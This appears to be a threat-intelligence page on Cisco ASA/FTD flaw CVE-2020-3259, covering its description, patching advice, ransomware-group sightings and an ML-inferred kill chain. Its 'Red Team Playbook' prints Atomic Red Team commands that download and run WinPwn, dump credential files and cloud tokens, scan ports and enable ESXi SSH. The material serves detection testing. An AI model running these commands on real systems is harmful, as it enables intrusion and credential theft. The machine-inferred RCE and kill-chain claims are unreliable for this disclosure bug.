CVE-2020-3259

HIGH CISA KEV Pub 06/05 Upd 21/10

Overview

This vulnerability is an information disclosure flaw rooted in a buffer tracking issue within the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software. Specifically, the flaw occurs during the parsing of invalid URLs requested from the web services interface, affecting certain AnyConnect and WebVPN configurations. Improper handling of buffer states leads to unintended memory content exposure.

Vulnerability Description

A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to retrieve memory contents on an affected device, which could lead to the disclosure of confidential information. The vulnerability is due to a buffer tracking issue when the software parses invalid URLs that are requested from the web services interface. An attacker could exploit this vulnerability by sending a crafted GET request to the web services interface. A successful exploit could allow the attacker to retrieve memory contents, which could lead to the disclosure of confidential information. Note: This vulnerability affects only specific AnyConnect and WebVPN configurations. For more information, see the Vulnerable Products section.

Impact

An unauthenticated remote attacker can exploit this vulnerability to retrieve arbitrary memory contents from the affected device, potentially exposing sensitive and confidential information stored in memory. No authentication or user interaction is required to carry out the attack. The disclosed information could include cryptographic keys, credentials, or configuration data, leading to data breaches and undermining network security controls.

Solution

Cisco has released security updates addressing this vulnerability in Cisco Adaptive Security Appliance Software and Cisco Firepower Threat Defense Software. Administrators should apply the patches as detailed in Cisco Security Advisory cisco-sa-asaftd-info-disclose-9eJtycMB. The advisory provides specific version updates and mitigation instructions. Applying the recommended software versions and configurations will remediate the buffer tracking issue in the web services interface.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A significant vulnerability exists within the web services interface of Cisco's Adaptive Security Appliance (ASA) Software and Firepower Threat Defense (FTD) Software. This flaw arises from a buffer tracking issue that occurs when the software processes invalid URLs. Specifically, the vulnerability allows an unauthenticated remote attacker to send a crafted GET request to the web services interface, potentially leading to the retrieval of sensitive memory contents from the affected device. The implications of this vulnerability are severe, as it could facilitate the unauthorized disclosure of confidential information stored in the device's memory.

The primary attack vector involves sending specially crafted requests to the web services interface, which is designed to handle various network services. By exploiting the buffer tracking issue, an attacker can manipulate the request to extract memory contents that may include sensitive data such as authentication tokens, user credentials, or other confidential information. This exploitation can occur without any authentication, making it particularly dangerous, as it lowers the barrier for attackers to gain access to sensitive data. Attackers could leverage this vulnerability in targeted attacks against organizations that rely on Cisco's security appliances, especially those with specific AnyConnect and WebVPN configurations.

In terms of real-world impact, the potential business risks associated with this vulnerability are considerable. Organizations utilizing affected Cisco products may face significant data breaches, leading to the exposure of sensitive information. Such breaches could result in regulatory penalties, loss of customer trust, and reputational damage. Furthermore, the financial implications of a successful exploit could be substantial, encompassing costs related to incident response, remediation efforts, and potential legal liabilities. The vulnerability's ability to facilitate unauthorized access to confidential information makes it a prime target for malicious actors, increasing the urgency for organizations to address the issue.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular monitoring of network traffic to the web services interface can help identify unusual patterns or unauthorized access attempts. Employing intrusion detection systems (IDS) can further enhance visibility into potential exploitation attempts. Additionally, organizations should ensure that they are running the latest versions of Cisco ASA and FTD software, as updates often contain critical security patches that address known vulnerabilities. Implementing strict access controls and limiting exposure of the web services interface to trusted networks can also reduce the risk of exploitation.

In conclusion, the vulnerability within Cisco's ASA and FTD software presents a significant threat to organizations that utilize these products. The potential for unauthorized access to sensitive information through crafted requests poses a serious risk to data confidentiality and overall business integrity. By adopting proactive detection and mitigation strategies, organizations can better safeguard their networks against exploitation and minimize the impact of such vulnerabilities on their operations.




CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2020-3259, with telemetry indicating a doubling in detection frequency over recent monitoring periods. This increase, while still emerging, signals heightened adversary interest and potential preparatory actions for exploitation attempts. Notably, the vulnerability remains a known vector within ransomware campaigns attributed to the Akira group, underscoring its continued operational relevance. Although no new exploit techniques or proof-of-concept code have surfaced, the persistence and amplification of detection events suggest that threat actors may be refining their tactics or expanding targeting scope. Consequently, the risk posture associated with this vulnerability has intensified from a latent concern to a more immediate threat, warranting elevated vigilance. Defenders should interpret this trend as an indicator of increased likelihood of exploitation attempts, particularly in environments where Cisco ASA and FTD devices are exposed to untrusted networks.



Update 2 — July 03, 2026

CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2020-3259, indicating that threat actors are increasingly probing Cisco ASA and Firepower Threat Defense devices for this vulnerability. While no new exploit techniques or proof-of-concept code have been observed, the sustained rise in telemetry suggests adversaries—particularly ransomware groups such as Akira and Sinobi—are intensifying reconnaissance or preliminary exploitation efforts. This amplification underscores a shift from opportunistic scanning to more targeted operations, elevating the immediacy of the threat. Consequently, the risk level associated with this vulnerability has increased, reflecting a higher probability of exploitation attempts in operational environments where affected devices are accessible from untrusted networks. Defenders should regard this trend as a critical indicator of evolving attacker interest and potential prelude to more sophisticated exploitation campaigns.

Affected Products (9)

Vendor Product Version CPE
cisco Cisco Firepower Threat Defense All cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense All cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense All cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense All cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Ransomware Groups 4

akira
CONFIRMED
1529 victims
ransomware.live
2026-06-25
akira
CONFIRMED
1529 victims
correlation_actor
2026-06-09
akira
CORRELATED
1529 victims
Chain Inference
2026-06-09
sinobi
CORRELATED
274 victims
Chain Inference
2026-06-09

Threat Feed

12 events
2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-25
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-09
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-06-09
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-06-09
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2026-06-09
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2026-04-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-03-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2024-02-15
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
63% buffer_overflow
Information Disclosure
61% info_disclosure
Remote Code Execution
55% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-22 Exploiting Trust in Client
43%
High High
CAPEC-472 Browser Fingerprinting
36%
Low
CAPEC-575 Account Footprinting
33%
Low Low
CAPEC-577 Owner Footprinting
33%
Low Low
CAPEC-574 Services Footprinting
33%
Low Low

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-3259
tools.cisco.com
GitHub CVE vendor-advisory x_refsource_CISCO
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-info-disclose-9eJtycMB
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-3259